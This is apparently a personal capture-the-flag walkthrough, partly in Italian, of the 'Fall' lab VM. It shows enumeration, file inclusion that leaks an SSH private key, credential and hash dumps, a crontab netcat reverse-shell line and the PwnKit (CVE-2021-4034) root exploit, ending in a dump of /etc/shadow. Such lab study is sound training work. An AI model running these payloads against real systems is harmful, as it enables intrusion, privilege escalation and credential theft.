```
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-21 03:37 EDT
Nmap scan report for 192.168.0.126
Host is up (0.0022s latency).
Not shown: 979 filtered tcp ports (no-response), 10 filtered tcp ports
(host-prohibited)
PORT     STATE  SERVICE     VERSION

22/tcp   open   ssh         OpenSSH 7.8 (protocol 2.0)
| ssh-hostkey:
|   2048 c5:86:f9:64:27:a4:38:5b:8a:11:f9:44:4b:2a:ff:65 (RSA)
|   256 e1:00:0b:cc:59:21:69:6c:1a:c1:77:22:39:5a:35:4f (ECDSA)
|_  256 1d:4e:14:6d:20:f4:56:da:65:83:6f:7d:33:9d:f0:ed (ED25519)

80/tcp   open   http        Apache httpd 2.4.39 ((Fedora) OpenSSL/1.1.0i-fips
mod_perl/2.0.10 Perl/v5.26.3)
|_http-server-header: Apache/2.4.39 (Fedora) OpenSSL/1.1.0i-fips mod_perl/2.0.10
Perl/v5.26.3
|_http-generator: CMS Made Simple - Copyright (C) 2004-2021. All rights
reserved.
|_http-title: Good Tech Inc's Fall Sales - Home
| http-robots.txt: 1 disallowed entry
|_/

111/tcp  closed rpcbind
139/tcp  open   netbios-ssn Samba smbd 3.X - 4.X (workgroup: SAMBA)

443/tcp  open   ssl/http    Apache httpd 2.4.39 ((Fedora) OpenSSL/1.1.0i-fips
mod_perl/2.0.10 Perl/v5.26.3)
| ssl-cert: Subject:
commonName=localhost.localdomain/organizationName=Unspecified/countryName=US
| Subject Alternative Name: DNS:localhost.localdomain
| Not valid before: 2019-08-15T03:51:33
|_Not valid after:  2020-08-19T05:31:33
| tls-alpn:
|_  http/1.1
|_ssl-date: TLS randomness does not represent time
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Apache/2.4.39 (Fedora) OpenSSL/1.1.0i-fips mod_perl/2.0.10
Perl/v5.26.3
|_http-generator: CMS Made Simple - Copyright (C) 2004-2021. All rights
reserved.
|_http-title: Good Tech Inc's Fall Sales - Home



445/tcp  open   netbios-ssn Samba smbd 4.8.10 (workgroup: SAMBA)

3306/tcp open   mysql       MySQL (unauthorized)



9090/tcp open   http        Cockpit web service 162 - 188
|_http-title: Did not follow redirect to https://192.168.0.126:9090/
```

```
MAC Address: 08:00:27:20:EE:02 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 5.X
OS CPE: cpe:/o:linux:linux_kernel:5
OS details: Linux 5.0 - 5.4
Network Distance: 1 hop
Service Info: Host: FALL; OS: Linux; CPE: cpe:/o:linux:linux_kernel



Host script results:
| smb2-time:
|   date: 2022-05-21T07:38:07
|_  start_date: N/A
|_clock-skew: mean: 2h19m52s, deviation: 4h02m31s, median: -8s
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled but not required
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.8.10)
|   Computer name: fall
|   NetBIOS computer name: FALL\x00
|   Domain name: \x00
|   FQDN: fall
|_  System time: 2022-05-21T00:38:11-07:00



------------------------------------------------------------


└─$ smbclient -L \\192.168.0.126 -N
Anonymous login successful

        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        IPC$            IPC       IPC Service (Samba 4.8.10)
Reconnecting with SMB1 for workgroup listing.
Anonymous login successful

        Server               Comment
        ---------            -------

        Workgroup            Master
        ---------            -------
        SAMBA                FALL
```

---

enum for linux

S-1-22-1-1000 Unix User\qiu (Local User)

---

gobuster wordlist big.txt

```
/admin                (Status: 301) [Size: 235] [-->
http://192.168.0.126/admin/]
/assets               (Status: 301) [Size: 236] [-->
http://192.168.0.126/assets/]
/cgi-bin/             (Status: 403) [Size: 217]

/config.php           (Status: 200) [Size: 0]

/doc                  (Status: 301) [Size: 233] [--> http://192.168.0.126/doc/]

/favicon.ico          (Status: 200) [Size: 1150]

/index.php            (Status: 200) [Size: 8358]

/lib                  (Status: 301) [Size: 233] [--> http://192.168.0.126/lib/]

/modules              (Status: 301) [Size: 237] [-->
http://192.168.0.126/modules/]
/phpinfo.php          (Status: 200) [Size: 17]

/robots.txt           (Status: 200) [Size: 79]

/robots.txt           (Status: 200) [Size: 79]

/test.php             (Status: 200) [Size: 80]       <-----------------------

/tmp                  (Status: 301) [Size: 233] [--> http://192.168.0.126/tmp/]

/uploads              (Status: 301) [Size: 237] [-->
http://192.168.0.126/uploads/]
```

http://192.168.0.126/test.php?GET=id   Fuzzing parametro

GET /test.php?file=id HTTP/1.1 200 ok

GET /test.php?file=/etc/passwd

```
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
```

```
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:65534:65534:Kernel Overflow User:/:/sbin/nologin
systemd-coredump:x:999:996:systemd Core Dumper:/:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
systemd-resolve:x:193:193:systemd Resolver:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
polkitd:x:998:995:User for polkitd:/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
cockpit-ws:x:997:993:User for cockpit-ws:/:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
abrt:x:173:173::/etc/abrt:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
chrony:x:996:991::/var/lib/chrony:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
qiu:x:1000:1000:qiu:/home/qiu:/bin/bash
apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin
nginx:x:995:990:Nginx web server:/var/lib/nginx:/sbin/nologin
tss:x:59:59:Account used by the tpm2-abrmd package to sandbox the tpm2-abrmd
daemon:/dev/null:/sbin/nologin
clevis:x:994:989:Clevis Decryption Framework unprivileged
user:/var/cache/clevis:/sbin/nologin
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/false

root:x:0:0:root:/root:/bin/bash
qiu:x:1000:1000:qiu:/home/qiu:/bin/bash


GET /test.php?file=/home/qiu/.ssh/id_rsa

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAQEAvNjhOFOSeDHy9K5vnHSs3qTjWNehAPzT0sD3beBPVvYKQJt0AkD0
FDcWTSSF13NhbjCQm5fnzR8td4sjJMYiAl+vAKboHne0njGkBwdy5PgmcXyeZTECIGkggX
61kImUOIqtLMcjF5ti+09RGiWeSmfIDtTCjj/+uQlokUMtdc4NOv4XGJbp7GdEWBZevien
qXoXtG6j7gUgtXX1Fxlx3FPhxE3lxw/AfZ9ib21JGlOyy8cflTlogrZPoICCXIV/kxGK0d
Zucw8rGGMc6Jv7npeQS1IXU9VnP3LWlOGFU0j+IS5SiNksRfdQ4mCN9SYhAm9mAKcZW8wS
vXuDjWOLEwAAA9AS5tRmEubUZgAAAAdzc2gtcnNhAAABAQC82OE4U5J4MfL0rm+cdKzepO
NY16EA/NPSwPdt4E9W9gpAm3QCQPQUNxZNJIXXc2FuMJCbl+fNHy13iyMkxiICX68Apuge
d7SeMaQHB3Lk+CZxfJ5lMQIgaSCBfrWQiZQ4iq0sxyMXm2L7T1EaJZ5KZ8gO1MKOP/65CW
iRQy11zg06/hcYlunsZ0RYFl6+J6epehe0bqPuBSC1dfUXGXHcU+HETeXHD8B9n2JvbUka
U7LLxx+VOWiCtk+ggIJchX+TEYrR1m5zDysYYxzom/uel5BLUhdT1Wc/ctaU4YVTSP4hLl
KI2SxF91DiYI31JiECb2YApxlbzBK9e4ONY4sTAAAAAwEAAQAAAQArXIEaNdZD0vQ+Sm9G
NWQcGzA4jgph96uLkNM/X2nYRdZEz2zrt45TtfJg9CnnNo8AhhYuI8sNxkLiWAhRwUy9zs
qYE7rohAPs7ukC1CsFeBUbqcmU4pPibUERes6lyXFHKlBpH7BnEz6/BY9RuaGG5B2DikbB
8t/CDO79q7ccfTZs+gOVRX4PW641+cZxo5/gL3GcdJwDY4ggPwbU/m8sYsyN1NWJ8NH00d
X8THaQAEXAO6TTzPMLgwJi+0kj1UTg+D+nONfh7xeXLseST0m1p+e9C/8rseZsSJSxoXKk
CmDy69aModcpW+ZXl9NcjEwrMvJPLLKjhIUcIhNjf4ABAAAAgEr3ZKUuJquBNFPhEUgUic
```

```
ivHoZH6U82VyEY2Bz24qevcVz2IcAXLBLIp+f1oiwYUVMIuWQDw6LSon8S72kk7VWiDrWz
lHjRfpUwWdzdWSMY6PI7EpGVVs0qmRC/TTqOIH+FXA66cFx3X4uOCjkzT0/Es0uNyZ07qQ
58cGE8cKrLAAAAgQDlPajDRVfDWgOWJj+imXfpGsmo81UDaYXwklzw4VM2SfIHIAFZPaA0
acm4/icKGPlnYWsvZCksvlUck+ti+J2RS2Mq9jmKB0AVZisFazj8qIde3SPPwtR7gBR329
JW3Db+KISMRIvdpJv+eiKQLg/epbSdwXZi0DJoB0a15FsIAQAAAIEA0uQl0d0p3NxCyT/+
Q6N+llf9TB5+VNjinaGu4DY6qVrSHmhkceHtXxG6h9upRtKw5BvOlSbTatlfMZYUtlZ1mL
RWCU8D7v1Qn7qMflx4bldYgV8lf18sb6g/uztWJuLpFe3Ue/MLgeJ+2TiAw9yYoPVySNK8
uhSHa0dvveoJ8xMAAAAZcWl1QGxvY2FsaG9zdC5sb2NhbGRvbWFpbgEC
-----END OPENSSH PRIVATE KEY-----

ssh -i key.txt qiu@fall


[qiu@FALL ~]$ id
uid=1000(qiu) gid=1000(qiu) groups=1000(qiu),10(wheel)


[qiu@FALL ~]$ cat local.txt
A low privilege shell! :-)

[qiu@FALL ~]$ cat .bash_history
ls -al
cat .bash_history
rm .bash_history
echo "remarkablyawesomE" | sudo -S dnf update


config.php

$config['dbms'] = 'mysqli';
$config['db_hostname'] = '127.0.0.1';
$config['db_username'] = 'cms_user';
$config['db_password'] = 'P@ssw0rdINSANITY';
$config['db_name'] = 'cms_db';
$config['db_prefix'] = 'cms_';
$config['timezone'] = 'Asia/Singapore';
$config['db_port'] = 3306;


mysql> select * from cms_users;
+---------+----------+----------------------------------+--------------+--------
----+-----------+---------------------+--------+---------------------+---------
------------+
| user_id | username | password                         | admin_access |
first_name | last_name | email                | active | create_date         |
modified_date       |
+---------+----------+----------------------------------+--------------+--------
----+-----------+---------------------+--------+---------------------+---------
------------+
|       1 | qiu      | bc8b9059c13582d649d3d9e48c16d67f |            1 | qiu
qing   | chan      | qiu@goodtech.inc     |      1 | 2021-05-21 17:06:29 |
2021-05-22 02:28:53 |
|       2 | patrick  | 6aea70cc6a678f0f83a82e1c753d7764 |            1 | Patrick
   | Ong       | patrick@goodtech.inc |      1 | 2021-05-22 02:28:33 |
```

```
2021-05-22 16:54:13 |
+---------+----------+----------------------------------+-------------+--------
----+-----------+----------------------+--------+---------------------+---------
------------+

bc8b9059c13582d649d3d9e48c16d67f
6aea70cc6a678f0f83a82e1c753d7764


[qiu@FALL cgi-bin]$ cat terriblescript.pl
#!/usr/bin/perl -w

use strict;
use CGI ':standard';

print "Content-type: text/html\n\n";
my $file = param('file');
print "<P>You are previewing $file .";
system ("cat /var/www/html/$file"); <------ possibile path traversal se fosse
eseguito come root ../../../../etc/shadow


http://192.168.0.126/cgi-bin/terriblescript.pl?file=../../../../etc/passwd
ok ma sempre user



[qiu@FALL cgi-bin]$ find / -perm -4000 2>/dev/null
/usr/bin/fusermount
/usr/bin/chage
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/su
/usr/bin/mount
/usr/bin/umount
/usr/bin/ksu
/usr/bin/pkexec   <----------------
/usr/bin/passwd
/usr/bin/crontab   <--------------------
/usr/bin/at
/usr/bin/chfnmtr-packet
/usr/bin/chsh
/usr/bin/sudo
/usr/sbin/pam_timestamp_check
/usr/sbin/unix_chkpwd
/usr/sbin/userhelper
/usr/sbin/usernetctl
/usr/sbin/mount.nfs
/usr/sbin/mtr-packet
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/libexec/dbus-1/dbus-daemon-launch-helper
/usr/libexec/cockpit-session
/usr/libexec/abrt-action-install-debuginfo-to-abrt-cache
```

```
----------------------------------------
https://medium.com/swlh/privilege-escalation-via-cron-812a9da9cf1a
<-------------------------

exploit crontab????

/usr/bin/crontab -e

inseriamo

1 * * * * root rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 192.168.0.137
4444 >/tmp/f

1 * * * * root chmod 777 /etc/shadow


otteniamo la reverse shell (per ora come utente)

----------------------------------------



(lanciamo linpeas)

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.0.126 - - [21/May/2022 10:29:02] "GET /pspy64 HTTP/1.1" 200 -
192.168.0.126 - - [21/May/2022 10:29:11] "GET /linpeas.sh HTTP/1.1" 200 -


exploit pwnkit


[+] [CVE-2021-4034] PwnKit


   Details: https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt
   Exposure: less probable
   Tags:
ubuntu=10|11|12|13|14|15|16|17|18|19|20|21,debian=7|8|9|10|11,fedora,manjaro
   Download URL: https://codeload.github.com/berdav/CVE-2021-4034/zip/main

e seguiamo il poc per la compilazione




[qiu@FALL cve]$ cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
[qiu@FALL cve]$ cc -Wall    cve-2021-4034.c   -o cve-2021-4034
[qiu@FALL cve]$ ls
cve-2021-4034  cve-2021-4034.c  cve-2021-4034.sh  Makefile  pwnkit.c  pwnkit.so
[qiu@FALL cve]$ echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
[qiu@FALL cve]$ mkdir -p GCONV_PATH=.
```

```
[qiu@FALL cve]$ cp /usr/bin/true GCONV_PATH=./pwnkit.so:.
[qiu@FALL cve]$ ./cve-2021-4034
sh-4.4# id
uid=0(root) gid=0(root) groups=0(root),10(wheel),1000(qiu)
sh-4.4#


sh-4.4# cat /etc/shadow
root:$1$uinL.IXX$fuW3I/pK.jMm02haTsvkB/::0:99999:7:::
bin:*:17589:0:99999:7:::
daemon:*:17589:0:99999:7:::
adm:*:17589:0:99999:7:::
lp:*:17589:0:99999:7:::
sync:*:17589:0:99999:7:::
shutdown:*:17589:0:99999:7:::
halt:*:17589:0:99999:7:::
mail:*:17589:0:99999:7:::
operator:*:17589:0:99999:7:::
games:*:17589:0:99999:7:::
ftp:*:17589:0:99999:7:::
nobody:*:17589:0:99999:7:::
systemd-coredump:!!:18123::::::
systemd-network:!!:18123::::::
systemd-resolve:!!:18123::::::
dbus:!!:18123::::::
polkitd:!!:18123::::::
sshd:!!:18123::::::
cockpit-ws:!!:18123::::::
rpc:!!:18123:0:99999:7:::
ntp:!!:18123::::::
abrt:!!:18123::::::
rpcuser:!!:18123::::::
chrony:!!:18123::::::
tcpdump:!!:18123::::::
qiu:$1$uinL.IXX$fuW3I/pK.jMm02haTsvkB/:18123:0:99999:7:::
apache:!!:18123::::::
nginx:!!:18123::::::
tss:!!:18123::::::
clevis:!!:18123::::::
mysql:!!:18123::::::
```